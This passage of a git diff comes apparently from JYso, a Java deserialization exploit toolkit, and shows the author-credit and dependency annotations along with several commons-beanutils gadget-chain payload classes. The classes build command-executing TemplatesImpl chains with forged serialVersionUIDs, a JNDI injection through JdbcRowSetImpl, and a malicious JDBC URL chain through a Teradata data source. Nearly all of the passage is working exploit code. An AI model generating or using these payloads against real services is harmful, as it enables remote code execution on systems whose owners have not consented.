writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); + } + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + + @Override + public void release(Object obj) throws Exception { + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java index f83e467..6bf1fbc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java +++ b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java @@ -1,73 +1,73 @@ -package com.qi4l.JYso.gadgets.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import java.lang.reflect.AnnotatedElement; - -@Target(ElementType.TYPE) -@Retention(RetentionPolicy.RUNTIME) -public @interface Authors { - - String FROHOFF = "frohoff"; - - String PWNTESTER = "pwntester"; - - String CSCHNEIDER4711 = "cschneider4711"; - - String MBECHLER = "mbechler"; - - String JACKOFMOSTTRADES = "JackOfMostTrades"; - - String MATTHIASKAISER = "matthias_kaiser"; - - String GEBL = "gebl"; - - String JACOBAINES = "jacob-baines"; - - String JASINNER = "jasinner"; - - String KULLRICH = "kai_ullrich"; - - String TINT0 = "_tint0"; - - String SCRISTALLI = "scristalli"; - - String HANYRAX = "hanyrax"; - - String EDOARDOVIGNATI = "EdoardoVignati"; - - String JANG = "Jang"; - - String ARTSPLOIT = "artsploit"; - String CCKUAILONG = "CCKUAILONG"; - - String QI4L = "QI4L"; - String PEIQIF4CK = "peiqiF4ck"; - - String Jayl1n = "Jayl1n"; - - String N1ght = "N1ght"; - - String KILLER = "killer"; - - String UNAM4 = "Unam4"; - String JIECUB3 = "jiecub3"; - - String JSJCW = "jsjcw"; - - String[] value() default {}; - - class Utils { - - public static String[] getAuthors(AnnotatedElement annotated) { - Authors authors = annotated.getAnnotation(Authors.class); - if (authors != null && authors.value() != null) { - return authors.value(); - } else { - return new String[0]; - } - } - } -} +package com.qi4l.JYso.gadgets.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Authors { + + String FROHOFF = "frohoff"; + + String PWNTESTER = "pwntester"; + + String CSCHNEIDER4711 = "cschneider4711"; + + String MBECHLER = "mbechler"; + + String JACKOFMOSTTRADES = "JackOfMostTrades"; + + String MATTHIASKAISER = "matthias_kaiser"; + + String GEBL = "gebl"; + + String JACOBAINES = "jacob-baines"; + + String JASINNER = "jasinner"; + + String KULLRICH = "kai_ullrich"; + + String TINT0 = "_tint0"; + + String SCRISTALLI = "scristalli"; + + String HANYRAX = "hanyrax"; + + String EDOARDOVIGNATI = "EdoardoVignati"; + + String JANG = "Jang"; + + String ARTSPLOIT = "artsploit"; + String CCKUAILONG = "CCKUAILONG"; + + String QI4L = "QI4L"; + String PEIQIF4CK = "peiqiF4ck"; + + String Jayl1n = "Jayl1n"; + + String N1ght = "N1ght"; + + String KILLER = "killer"; + + String UNAM4 = "Unam4"; + String JIECUB3 = "jiecub3"; + + String JSJCW = "jsjcw"; + + String[] value() default {}; + + class Utils { + + public static String[] getAuthors(AnnotatedElement annotated) { + Authors authors = annotated.getAnnotation(Authors.class); + if (authors != null && authors.value() != null) { + return authors.value(); + } else { + return new String[0]; + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java b/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java index ceff585..94641a4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java +++ b/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java @@ -1,46 +1,46 @@ -package com.qi4l.JYso.gadgets.annotation; - -import com.qi4l.JYso.gadgets.utils.Reflections; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import java.lang.reflect.AnnotatedElement; -import java.lang.reflect.Method; - -@Target(ElementType.TYPE) -@Retention(RetentionPolicy.RUNTIME) -public @interface Dependencies { - - - String[] value() default {}; - - public static class Utils { - - public static String[] getDependencies(AnnotatedElement annotated) { - Dependencies deps = annotated.getAnnotation(Dependencies.class); - if (deps != null && deps.value() != null) { - return deps.value(); - } else { - try { - Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString()); - Method m = name.getDeclaredMethod("getDependencies"); - m.setAccessible(true); - return (String[]) m.invoke(null); - } catch (Exception ignored) { - return new String[0]; - } - } - } - - public static String[] getDependenciesSimple(AnnotatedElement annotated) { - String[] deps = getDependencies(annotated); - String[] simple = new String[deps.length]; - for (int i = 0; i < simple.length; i++) { - simple[i] = deps[i].split(":", 2)[1]; - } - return simple; - } - } -} +package com.qi4l.JYso.gadgets.annotation; + +import com.qi4l.JYso.gadgets.utils.Reflections; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; +import java.lang.reflect.Method; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + + + String[] value() default {}; + + public static class Utils { + + public static String[] getDependencies(AnnotatedElement annotated) { + Dependencies deps = annotated.getAnnotation(Dependencies.class); + if (deps != null && deps.value() != null) { + return deps.value(); + } else { + try { + Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString()); + Method m = name.getDeclaredMethod("getDependencies"); + m.setAccessible(true); + return (String[]) m.invoke(null); + } catch (Exception ignored) { + return new String[0]; + } + } + } + + public static String[] getDependenciesSimple(AnnotatedElement annotated) { + String[] deps = getDependencies(annotated); + String[] simple = new String[deps.length]; + for (int i = 0; i < simple.length; i++) { + simple[i] = deps[i].split(":", 2)[1]; + } + return simple; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb160.java b/src/main/java/com/qi4l/JYso/gadgets/cb160.java index d4d6787..2dfae9a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb160.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb160.java @@ -1,45 +1,45 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import javassist.ClassPool; -import javassist.CtClass; -import org.apache.commons.beanutils.BeanComparator; - -import java.util.PriorityQueue; - -import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; -import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.6.0"}) -public class cb160 implements ObjectPayload { - - @Override - public Object getObject(String command) throws Exception { - final Object template = Gadgets.createTemplatesImpl(command); - - ClassPool pool = ClassPool.getDefault(); - CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); - insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;"); - return getCbSink_1(ctClass,template); - } - - public static Object getCbSink_1(CtClass ctClass, Object template) throws Exception { - Class beanCompareClazz = ctClass.toClass(); - BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); - final PriorityQueue queue = new PriorityQueue(2, comparator); - queue.add("1"); - queue.add("1"); - - patchModule(cc4_17.class, queue.getClass()); - - // switch method called by comparator - Reflections.setFieldValue(comparator, "property", "outputProperties"); - Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); - Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); - - return queue; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; +import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.6.0"}) +public class cb160 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object template = Gadgets.createTemplatesImpl(command); + + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); + insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;"); + return getCbSink_1(ctClass,template); + } + + public static Object getCbSink_1(CtClass ctClass, Object template) throws Exception { + Class beanCompareClazz = ctClass.toClass(); + BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + patchModule(cc4_17.class, queue.getClass()); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb183.java b/src/main/java/com/qi4l/JYso/gadgets/cb183.java index 8d7c199..1310045 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb183.java @@ -1,25 +1,25 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import javassist.ClassPool; -import javassist.CtClass; - -import static com.qi4l.JYso.gadgets.cb160.getCbSink_1; -import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; - -@SuppressWarnings({"unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) -public class cb183 implements ObjectPayload { - - @Override - public Object getObject(String command) throws Exception { - final Object template; - template = Gadgets.createTemplatesImpl(command); - ClassPool pool = ClassPool.getDefault(); - CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); - - insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); - return getCbSink_1(ctClass,template); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import javassist.ClassPool; +import javassist.CtClass; + +import static com.qi4l.JYso.gadgets.cb160.getCbSink_1; +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; + +@SuppressWarnings({"unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) +public class cb183 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + return getCbSink_1(ctClass,template); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb192.java b/src/main/java/com/qi4l/JYso/gadgets/cb192.java index 562b554..8034974 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb192.java @@ -1,30 +1,30 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.beanutils.BeanComparator; - -import java.util.PriorityQueue; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) -@Authors({Authors.FROHOFF}) -public class cb192 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - final Object template; - template = Gadgets.createTemplatesImpl(command); - - final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); - final PriorityQueue queue = new PriorityQueue(2, comparator); - queue.add("1"); - queue.add("1"); - - Reflections.setFieldValue(comparator, "property", "outputProperties"); - Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); - - return queue; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +@Authors({Authors.FROHOFF}) +public class cb192 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java index 3254877..75c8748 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java @@ -1,64 +1,64 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.SuClassLoader; -import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; -import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; -import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; -import javassist.*; - -import java.util.Comparator; -import java.util.PriorityQueue; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) -@Authors({"SummerSec"}) -public class cb_AttrCompare183 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - Object template = Gadgets.createTemplatesImpl(command); - - AttrNSImpl attrNS1 = new AttrNSImpl(); - CoreDocumentImpl coreDocument = new CoreDocumentImpl(); - attrNS1.setValues(coreDocument, "1", "1", "1"); - - - Comparator beanComparator = getCbSink_2(); - Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare()); - - return getCbSink_3(beanComparator, attrNS1, template); - } - - - static Comparator getCbSink_2() throws Exception { - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); - final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); - try { - CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); - ctBeanComparator.removeField(ctSUID); - } catch (NotFoundException ignored) { - } - ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); - final Comparator beanComparator = (Comparator) ctBeanComparator.toClass( - new SuClassLoader(),SuClassLoader.class.getProtectionDomain() - ).newInstance(); - ctBeanComparator.defrost(); - return beanComparator; - } - - static Object getCbSink_3(Comparator beanComparator, Object attrNS1, Object template) throws Exception { - PriorityQueue queue = new PriorityQueue<>(2, (Comparator) beanComparator); - - queue.add(attrNS1); - queue.add(attrNS1); - - Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); - Reflections.setFieldValue(beanComparator, "property", "outputProperties"); - - return queue; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; +import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; +import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; +import javassist.*; + +import java.util.Comparator; +import java.util.PriorityQueue; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) +@Authors({"SummerSec"}) +public class cb_AttrCompare183 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + Object template = Gadgets.createTemplatesImpl(command); + + AttrNSImpl attrNS1 = new AttrNSImpl(); + CoreDocumentImpl coreDocument = new CoreDocumentImpl(); + attrNS1.setValues(coreDocument, "1", "1", "1"); + + + Comparator beanComparator = getCbSink_2(); + Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare()); + + return getCbSink_3(beanComparator, attrNS1, template); + } + + + static Comparator getCbSink_2() throws Exception { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (NotFoundException ignored) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ).newInstance(); + ctBeanComparator.defrost(); + return beanComparator; + } + + static Object getCbSink_3(Comparator beanComparator, Object attrNS1, Object template) throws Exception { + PriorityQueue queue = new PriorityQueue<>(2, (Comparator) beanComparator); + + queue.add(attrNS1); + queue.add(attrNS1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare192.java b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare192.java index 96a9b12..c94bb90 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare192.java @@ -1,29 +1,29 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; -import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; -import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; -import org.apache.commons.beanutils.BeanComparator; - -import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) -@Authors({"水滴"}) -public class cb_AttrCompare192 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Object template; - template = Gadgets.createTemplatesImpl(command); - AttrNSImpl attrNS1 = new AttrNSImpl(); - CoreDocumentImpl coreDocument = new CoreDocumentImpl(); - attrNS1.setValues(coreDocument, "1", "1", "1"); - - BeanComparator beanComparator = new BeanComparator(null, new AttrCompare()); - - return getCbSink_3(beanComparator, attrNS1, template); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; +import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; +import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; +import org.apache.commons.beanutils.BeanComparator; + +import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({"水滴"}) +public class cb_AttrCompare192 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + AttrNSImpl attrNS1 = new AttrNSImpl(); + CoreDocumentImpl coreDocument = new CoreDocumentImpl(); + attrNS1.setValues(coreDocument, "1", "1", "1"); + + BeanComparator beanComparator = new BeanComparator(null, new AttrCompare()); + + return getCbSink_3(beanComparator, attrNS1, template); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/cb_JDBC.java index a024e54..d3426da 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_JDBC.java @@ -1,39 +1,39 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.teradata.jdbc.TeraDataSource; -import org.apache.commons.beanutils.BeanComparator; - -import java.util.PriorityQueue; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) -@Authors({Authors.QI4L}) -public class cb_JDBC implements ObjectPayload { - public Object getObject(String command) throws Exception { - if (!command.toLowerCase().startsWith("jdbc:")) { - throw new Exception("Command format is: eviljdbcurl"); - } - - TeraDataSource dataSource = new TeraDataSource(); - dataSource.setBROWSER(command); - dataSource.setLOGMECH("BROWSER"); - dataSource.setDSName("127.0.0.1"); - dataSource.setDbsPort("10250"); - - final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); - - final PriorityQueue queue = new PriorityQueue(2, comparator); - queue.add("1"); - queue.add("1"); - - Reflections.setFieldValue(comparator, "property", "connection"); - final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); - queueArray[0] = dataSource; - queueArray[1] = dataSource; - - return queue; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.teradata.jdbc.TeraDataSource; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({Authors.QI4L}) +public class cb_JDBC implements ObjectPayload { + public Object getObject(String command) throws Exception { + if (!command.toLowerCase().startsWith("jdbc:")) { + throw new Exception("Command format is: eviljdbcurl"); + } + + TeraDataSource dataSource = new TeraDataSource(); + dataSource.setBROWSER(command); + dataSource.setLOGMECH("BROWSER"); + dataSource.setDSName("127.0.0.1"); + dataSource.setDbsPort("10250"); + + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "connection"); + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = dataSource; + queueArray[1] = dataSource; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_JNDI.java b/src/main/java/com/qi4l/JYso/gadgets/cb_JNDI.java index f45a86c..25bb3d4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_JNDI.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_JNDI.java @@ -1,37 +1,37 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.rowset.JdbcRowSetImpl; -import org.apache.commons.beanutils.BeanComparator; - -import java.math.BigInteger; -import java.util.PriorityQueue; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"}) -@Authors({Authors.QI4L}) -public class cb_JNDI implements ObjectPayload { - - @Override - public Object getObject(String command) throws Exception { - String jndiURL = null; - if (command.toLowerCase().startsWith("jndi:")) { - jndiURL = command.substring(5); - } - - BeanComparator comparator = new BeanComparator("lowestSetBit"); - JdbcRowSetImpl rs = new JdbcRowSetImpl(); - rs.setDataSourceName(jndiURL); - rs.setMatchColumn("QI4L"); - PriorityQueue queue = new PriorityQueue(2, comparator); - - queue.add(new BigInteger("1")); - queue.add(new BigInteger("1")); - - Reflections.setFieldValue(comparator, "property", "databaseMetaData"); - Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs}); - return queue; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.rowset.JdbcRowSetImpl; +import org.apache.commons.beanutils.BeanComparator; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"}) +@Authors({Authors.QI4L}) +public class cb_JNDI implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + String jndiURL = null; + if (command.toLowerCase().startsWith("jndi:")) { + jndiURL = command.substring(5); + } + + BeanComparator comparator = new BeanComparator("lowestSetBit"); + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiURL); + rs.setMatchColumn("QI4L"); + PriorityQueue queue = new PriorityQueue(2, comparator); + + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + Reflections.setFieldValue(comparator, "property", "databaseMetaData"); + Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs}); + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_ObjectToStringComparator183.java b/src/main/java/com/qi4l/JYso/gadgets/cb_ObjectToStringComparator183.java index ae33d76..b252b5e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_ObjectToStringComparator183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_ObjectToStringComparator183.java @@ -1,30 +1,30 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.lang3.compare.ObjectToStringComparator; - -import java.util.Comparator; - -import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_2; -import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; - -@SuppressWarnings({"rawtypes", "unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10", "commons-beanutils:commons-beanutils:1.7X"}) -@Authors({"SummerSec"}) -public class cb_ObjectToStringComparator183 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Object template; - template = Gadgets.createTemplatesImpl(command); - - Comparator beanComparator = getCbSink_2(); - - Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator()); - ObjectToStringComparator stringComparator = new ObjectToStringComparator(); - - return getCbSink_3(beanComparator, stringComparator, template); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.lang3.compare.ObjectToStringComparator; + +import java.util.Comparator; + +import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_2; +import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10", "commons-beanutils:commons-beanutils:1.7X"}) +@Authors({"SummerSec"}) +public class cb_ObjectToStringComparator183 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + + Comparator beanComparator = getCbSink_2(); + + Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator()); + ObjectToStringComparator stringComparator = new ObjectToStringComparator(); + + return getCbSink_3(beanComparator, stringComparator, template); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource183.java b/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource183.java index b1b6439..4a4544c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource183.java @@ -1,28 +1,28 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.logging.log4j.util.PropertySource; - -import java.util.Comparator; - -import static 